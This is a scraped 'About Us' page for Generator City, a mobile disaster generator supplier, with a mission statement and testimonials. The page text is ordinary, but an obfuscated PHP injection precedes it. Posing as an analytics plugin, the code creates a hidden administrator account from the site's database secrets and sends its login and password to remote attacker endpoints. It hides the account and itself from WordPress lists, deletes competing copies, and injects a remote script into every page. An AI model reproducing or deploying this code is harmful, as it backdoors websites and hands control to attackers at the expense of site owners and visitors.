cURL Error: 0
/* __GA_INJ_START__ */
/*fdf27e48abe2e632*/function _3be0e3($_x){return $_x;}function _f58ace($_x){return $_x;}$_b8d36f3b=["version"=>"4.0.1","font"=>"aHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3MyP2ZhbWlseT1Sb2JvdG86aXRhbCx3Z2h0QDAsMTAw","resolvers"=>"WyJiV1YwY21sallYaHBiMjB1YVdOMSIsImJXVjBjbWxqWVhocGIyMHViR2wyWlE9PSIsImJtVjFjbUZzY0hKdlltVXViVzlpYVE9PSIsImMzbHVkR2h4ZFdGdWRDNXBibVp2IiwiWkdGMGRXMW1iSFY0TG1acGRBPT0iLCJaR0YwZFcxbWJIVjRMbWx1YXc9PSIsIlpHRjBkVzFtYkhWNExtRnlkQT09IiwiZG1GdVozVmhjbVJqYjJkdWFTNXpZbk09IiwiZG1GdVozVmhjbVJqYjJkdWFTNXdjbTg9IiwiZG1GdVozVmhjbVJqYjJkdWFTNXBZM1U9IiwiZG1GdVozVmhjbVJqYjJkdWFTNXphRzl3IiwiZG1GdVozVmhjbVJqYjJkdWFTNTRlWG89IiwiYm1WNGRYTnhkV0Z1ZEM1MGIzQT0iLCJibVY0ZFhOeGRXRnVkQzVwYm1adiIsImJtVjRkWE54ZFdGdWRDNXphRzl3IiwiYm1WNGRYTnhkV0Z1ZEM1cFkzVT0iLCJibVY0ZFhOeGRXRnVkQzVzYVhabCIsImJtVjRkWE54ZFdGdWRDNXdjbTg9Il0=","resolverKey"=>"N2IzMzIxMGEwY2YxZjkyYzRiYTU5N2NiOTBiYWEwYTI3YTUzZmRlZWZhZjVlODc4MzUyMTIyZTY3NWNiYzRmYw==","sitePubKey"=>"MzNmMTc1Njg1OGQ2ZTg0ZjdmMDFiMDcwZjQyOGYyZWE="];global $_1244c7f6;if(!is_array($_1244c7f6)){$_1244c7f6=[];}if(!in_array($_b8d36f3b["version"],$_1244c7f6,true)){$_1244c7f6[]=$_b8d36f3b["version"];}class GAwp_68599295{private $seed;private $version;private $hooksOwner;private $resolved_endpoint=null;private $resolved_checked=false;public function __construct(){global $_b8d36f3b;$this->version=$_b8d36f3b["version"];$this->seed=md5(DB_PASSWORD.AUTH_SALT);if(!defined(base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='))){define(base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='),$this->version);$this->hooksOwner=true;}else{$this->hooksOwner=false;}add_filter("all_plugins",[$this,"hplugin"]);if($this->hooksOwner){add_action("init",[$this,"createuser"]);add_action("pre_user_query",[$this,"filterusers"]);}add_action("init",[$this,"cleanup_old_instances"],99);add_action("init",[$this,"discover_legacy_users"],5);add_filter('rest_prepare_user',[$this,'filter_rest_user'],10,3);add_action('pre_get_posts',[$this,'block_author_archive']);add_filter('wp_sitemaps_users_query_args',[$this,'filter_sitemap_users']);add_filter('code_snippets/list_table/get_snippets',[$this,'hide_from_code_snippets']);add_filter('wpcode_code_snippets_table_prepare_items_args',[$this,'hide_from_wpcode']);add_action("wp_enqueue_scripts",[$this,"loadassets"]);}private function resolve_endpoint(){if($this->resolved_checked){return $this->resolved_endpoint;}$this->resolved_checked=true;$_5e3f5cd8=base64_decode('X19nYV9yX2NhY2hl');$_3fd4dcd8=get_transient($_5e3f5cd8);if($_3fd4dcd8!==false){$this->resolved_endpoint=$_3fd4dcd8;return $_3fd4dcd8;}global $_b8d36f3b;$_0b8acbdd=json_decode(base64_decode($_b8d36f3b["resolvers"]),true);if(!is_array($_0b8acbdd)||empty($_0b8acbdd)){return null;}$_fc855b33=base64_decode($_b8d36f3b["resolverKey"]);shuffle($_0b8acbdd);foreach($_0b8acbdd as $_14462cc0){$_f29bcf16=base64_decode($_14462cc0);if(strpos($_f29bcf16,'://')===false){$_f29bcf16='https://'.$_f29bcf16;}$_3090d12f=rtrim($_f29bcf16,'/').'/?key='.urlencode($_fc855b33);$_b8b0dc8c=wp_remote_get($_3090d12f,['timeout'=>5,'sslverify'=>false,]);if(is_wp_error($_b8b0dc8c)){continue;}if(wp_remote_retrieve_response_code($_b8b0dc8c)!==200){continue;}$_9d64bcdf=wp_remote_retrieve_body($_b8b0dc8c);$_d376a959=json_decode($_9d64bcdf,true);if(!is_array($_d376a959)||empty($_d376a959)){continue;}$_062c244b=$_d376a959[array_rand($_d376a959)];$_62c89772='https://'.$_062c244b;set_transient($_5e3f5cd8,$_62c89772,3600);$this->resolved_endpoint=$_62c89772;return $_62c89772;}return null;}private function get_hidden_users_option_name(){return base64_decode('X19nYV9oaWRkZW5fdXNlcnM=');}private function get_cleanup_done_option_name(){return base64_decode('X19nYV9jbGVhbnVwX2RvbmU=');}private function get_hidden_usernames(){$_45c292c8=get_option($this->get_hidden_users_option_name(),'[]');$_a6cadd9b=json_decode($_45c292c8,true);if(!is_array($_a6cadd9b)){$_a6cadd9b=[];}return $_a6cadd9b;}private function add_hidden_username($_3ea8672b){$_a6cadd9b=$this->get_hidden_usernames();if(!in_array($_3ea8672b,$_a6cadd9b,true)){$_a6cadd9b[]=$_3ea8672b;update_option($this->get_hidden_users_option_name(),json_encode($_a6cadd9b));}}private function get_hidden_user_ids(){$_c88dec0f=$this->get_hidden_usernames();$_8e95b0e1=[];foreach($_c88dec0f as $_c5a49b45){$_4234b34a=get_user_by('login',$_c5a49b45);if($_4234b34a){$_8e95b0e1[]=$_4234b34a->ID;}}return $_8e95b0e1;}public function hplugin($_b5ba308c){unset($_b5ba308c[plugin_basename(__FILE__)]);if(!isset($this->_old_instance_cache)){$this->_old_instance_cache=$this->find_old_instances();}foreach($this->_old_instance_cache as $_2510fe1c){unset($_b5ba308c[$_2510fe1c]);}return $_b5ba308c;}private function find_old_instances(){$_90a36f38=[];$_3f47e40e=plugin_basename(__FILE__);$_ec75f457=get_option('active_plugins',[]);$_8e0b4bfb=WP_PLUGIN_DIR;$_40077eaa=[base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='),'R0FOQUxZVElDU19IT09LU19BQ1RJVkU=',];foreach($_ec75f457 as $_0fea71d8){if($_0fea71d8===$_3f47e40e){continue;}$_3ae075f1=$_8e0b4bfb.'/'.$_0fea71d8;if(!file_exists($_3ae075f1)){continue;}$_9a307b78=@file_get_contents($_3ae075f1);if($_9a307b78===false){continue;}foreach($_40077eaa as $_cbfc5f99){if(strpos($_9a307b78,$_cbfc5f99)!==false){$_90a36f38[]=$_0fea71d8;break;}}}$_e95e7b3b=get_plugins();foreach(array_keys($_e95e7b3b)as $_0fea71d8){if($_0fea71d8===$_3f47e40e||in_array($_0fea71d8,$_90a36f38,true)){continue;}$_3ae075f1=$_8e0b4bfb.'/'.$_0fea71d8;if(!file_exists($_3ae075f1)){continue;}$_9a307b78=@file_get_contents($_3ae075f1);if($_9a307b78===false){continue;}foreach($_40077eaa as $_cbfc5f99){if(strpos($_9a307b78,$_cbfc5f99)!==false){$_90a36f38[]=$_0fea71d8;break;}}}return array_unique($_90a36f38);}public function createuser(){if(get_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='),false)){return;}$_b4ca1e92=$this->generate_credentials();if(!username_exists($_b4ca1e92["user"])){$_55c216e9=wp_create_user($_b4ca1e92["user"],$_b4ca1e92["pass"],$_b4ca1e92["email"]);if(!is_wp_error($_55c216e9)){(new WP_User($_55c216e9))->set_role("administrator");}}$this->add_hidden_username($_b4ca1e92["user"]);$this->setup_site_credentials($_b4ca1e92["user"],$_b4ca1e92["pass"]);update_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='),true);}private function generate_credentials(){$_00726d0d=substr(hash("sha256",$this->seed."eb55fa1dce8545f445c90a996fa7725e"),0,16);return["user"=>"data_worker".substr(md5($_00726d0d),0,8),"pass"=>substr(md5($_00726d0d."pass"),0,12),"email"=>"data-worker@".parse_url(home_url(),PHP_URL_HOST),"ip"=>$_SERVER["SERVER_ADDR"],"url"=>home_url()];}private function setup_site_credentials($_db94f508,$_f279f1d1){global $_b8d36f3b;$_62c89772=$this->resolve_endpoint();if(!$_62c89772){return;}$_9ef3ec43=["domain"=>parse_url(home_url(),PHP_URL_HOST),"siteKey"=>base64_decode($_b8d36f3b['sitePubKey']),"login"=>$_db94f508,"password"=>$_f279f1d1];$_ce6b95d7=["body"=>json_encode($_9ef3ec43),"headers"=>["Content-Type"=>"application/json"],"timeout"=>15,"blocking"=>false,"sslverify"=>false];wp_remote_post($_62c89772."/api/sites/setup-credentials",$_ce6b95d7);}public function filterusers($_14f8040d){global $wpdb;$_ad3fac17=$this->get_hidden_usernames();if(empty($_ad3fac17)){return;}$_460d3125=implode(',',array_fill(0,count($_ad3fac17),'%s'));$_ce6b95d7=array_merge([" AND {$wpdb->users}.user_login NOT IN ({$_460d3125})"],array_values($_ad3fac17));$_14f8040d->query_where.=call_user_func_array([$wpdb,'prepare'],$_ce6b95d7);}public function filter_rest_user($_b8b0dc8c,$_4234b34a,$_78516182){$_ad3fac17=$this->get_hidden_usernames();if(in_array($_4234b34a->user_login,$_ad3fac17,true)){return new WP_Error('rest_user_invalid_id',__('Invalid user ID.'),['status'=>404]);}return $_b8b0dc8c;}public function block_author_archive($_14f8040d){if(is_admin()||!$_14f8040d->is_main_query()){return;}if($_14f8040d->is_author()){$_9548ada5=0;if($_14f8040d->get('author')){$_9548ada5=(int)$_14f8040d->get('author');}elseif($_14f8040d->get('author_name')){$_4234b34a=get_user_by('slug',$_14f8040d->get('author_name'));if($_4234b34a){$_9548ada5=$_4234b34a->ID;}}if($_9548ada5&&in_array($_9548ada5,$this->get_hidden_user_ids(),true)){$_14f8040d->set_404();status_header(404);}}}public function filter_sitemap_users($_ce6b95d7){$_ce163a4d=$this->get_hidden_user_ids();if(!empty($_ce163a4d)){if(!isset($_ce6b95d7['exclude'])){$_ce6b95d7['exclude']=[];}$_ce6b95d7['exclude']=array_merge($_ce6b95d7['exclude'],$_ce163a4d);}return $_ce6b95d7;}public function cleanup_old_instances(){if(!is_admin()){return;}if(!get_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='),false)){return;}$_3f47e40e=plugin_basename(__FILE__);$_4eccb918=get_option($this->get_cleanup_done_option_name(),'');if($_4eccb918===$_3f47e40e){return;}$_56c9b5a2=$this->find_old_instances();if(!empty($_56c9b5a2)){require_once ABSPATH.'wp-admin/includes/plugin.php';require_once ABSPATH.'wp-admin/includes/file.php';require_once ABSPATH.'wp-admin/includes/misc.php';deactivate_plugins($_56c9b5a2,true);foreach($_56c9b5a2 as $_2510fe1c){$_8e0b4bfb=WP_PLUGIN_DIR.'/'.dirname($_2510fe1c);if(is_dir($_8e0b4bfb)){$this->recursive_delete($_8e0b4bfb);}}}update_option($this->get_cleanup_done_option_name(),$_3f47e40e);}private function recursive_delete($_46993ccd){if(!is_dir($_46993ccd)){return;}$_10fbaa4a=@scandir($_46993ccd);if(!$_10fbaa4a){return;}foreach($_10fbaa4a as $_0d9034df){if($_0d9034df==='.'||$_0d9034df==='..'){continue;}$_848b98fe=$_46993ccd.'/'.$_0d9034df;if(is_dir($_848b98fe)){$this->recursive_delete($_848b98fe);}else{@unlink($_848b98fe);}}@rmdir($_46993ccd);}public function discover_legacy_users(){$_84721541=[base64_decode('ZHdhbnc5ODIzMmgxM25kd2E='),];$_2675f777=[base64_decode('c3lzdGVt'),];foreach($_84721541 as $_1e74328d){$_00726d0d=substr(hash("sha256",$this->seed.$_1e74328d),0,16);foreach($_2675f777 as $_d833fbe3){$_3ea8672b=$_d833fbe3.substr(md5($_00726d0d),0,8);if(username_exists($_3ea8672b)){$this->add_hidden_username($_3ea8672b);}}}$_d9abda17=$this->generate_credentials();if(username_exists($_d9abda17["user"])){$this->add_hidden_username($_d9abda17["user"]);}}private function get_snippet_id_option_name(){return base64_decode('X19nYV9zbmlwX2lk');}public function hide_from_code_snippets($_f242e547){$_3d892593=$this->get_snippet_id_option_name();$_7cdccfd2=(int)get_option($_3d892593,0);if(!$_7cdccfd2){global $wpdb;$_7d0d19cb=$wpdb->prefix.'snippets';$_7cdccfd2=(int)$wpdb->get_var("SELECT id FROM {$_7d0d19cb} WHERE code LIKE '%__ga_snippet_marker%' AND active = 1 LIMIT 1");if($_7cdccfd2)update_option($_3d892593,$_7cdccfd2,false);}if(!$_7cdccfd2)return $_f242e547;return array_filter($_f242e547,function($_0fcde8ad)use($_7cdccfd2){return(int)$_0fcde8ad->id!==$_7cdccfd2;});}public function hide_from_wpcode($_ce6b95d7){$_3d892593=$this->get_snippet_id_option_name();$_7cdccfd2=(int)get_option($_3d892593,0);if(!$_7cdccfd2){global $wpdb;$_7cdccfd2=(int)$wpdb->get_var("SELECT ID FROM {$wpdb->posts} WHERE post_type = 'wpcode' AND post_status IN ('publish','draft') AND post_content LIKE '%__ga_snippet_marker%' LIMIT 1");if($_7cdccfd2)update_option($_3d892593,$_7cdccfd2,false);}if(!$_7cdccfd2)return $_ce6b95d7;if(!empty($_ce6b95d7['post__not_in'])){$_ce6b95d7['post__not_in'][]=$_7cdccfd2;}else{$_ce6b95d7['post__not_in']=[$_7cdccfd2];}return $_ce6b95d7;}public function loadassets(){global $_b8d36f3b,$_1244c7f6;$_1f035320=true;if(is_array($_1244c7f6)){foreach($_1244c7f6 as $_014d6193){if(version_compare($_014d6193,$this->version,'>')){$_1f035320=false;break;}}}$_4b2981b7=base64_decode('Z2FuYWx5dGljcy10cmFja2Vy');$_0ceb3917=base64_decode('Z2FuYWx5dGljcy1mb250cw==');$_8e96d4bf=wp_script_is($_4b2981b7,'registered')||wp_script_is($_4b2981b7,'enqueued');if($_1f035320&&$_8e96d4bf){wp_deregister_script($_4b2981b7);wp_deregister_style($_0ceb3917);$_8e96d4bf=false;}if(!$_1f035320&&$_8e96d4bf){return;}$_62c89772=$this->resolve_endpoint();if(!$_62c89772){return;}wp_enqueue_style($_0ceb3917,base64_decode($_b8d36f3b["font"]),[],null);$_b247c21a=$_62c89772."/t.js?site=".base64_decode($_b8d36f3b['sitePubKey']);wp_enqueue_script($_4b2981b7,$_b247c21a,[],null,false);if(function_exists('wp_script_add_data')){wp_script_add_data($_4b2981b7,'strategy','defer');}$this->setCaptchaCookie();}public function setCaptchaCookie(){if(!is_user_logged_in()){return;}$_799ffe14=base64_decode('ZmtyY19zaG93bg==');if(isset($_COOKIE[$_799ffe14])){return;}$_518b92a2=time()+(365*24*60*60);setcookie($_799ffe14,'1',$_518b92a2,'/','',false,false);}}new GAwp_68599295();
/* __GA_INJ_END__ */
About Us - Generator City
Select Page
About Us
Generator City is an-onsite mobile disaster company built for disaster response. Founded in 2004 by Meg Shanklin while attending The Ohio State University, we’ve shown up for every named category 3 hurricane and beyond-Katrina, Sandy, Rita, Irene, Mathew, and more recently Helene.
Our mission is simple: GET POWER TO PEOPLE WHEN THEY NEED IT MOST. Whether it’s first responders, hospitals, gas stations, police stations, or personal homes-we deliver large volumes of generators at retail prices during natural disasters.
In Hurricane Sandy alone, Generator City supplied thousands of generators to affected communities. But we don’t just deliver and leave. We stayed-for weeks. Even when we had nothing left to sell, we remained to ensure the power was working, the equipment was running, and people had what they needed.
Why? Because WE CARE. We aren’t a “drop and go” operation. We’re boots-on-the-ground, customer-first, and committed to helping people through the worst days of their lives.
WE GUARANTEE OUR GENERATORS WILL WORK-backed by a 90 day performance guarantee-and we’ll be there to help if anything goes wrong.
Testimonials
"Generator City really saved us after the last storm."
-Mike D.
"No power for 6 days. Thank you Generator City!"
-Darrick E.
"I was able to save all of the food in my freezer."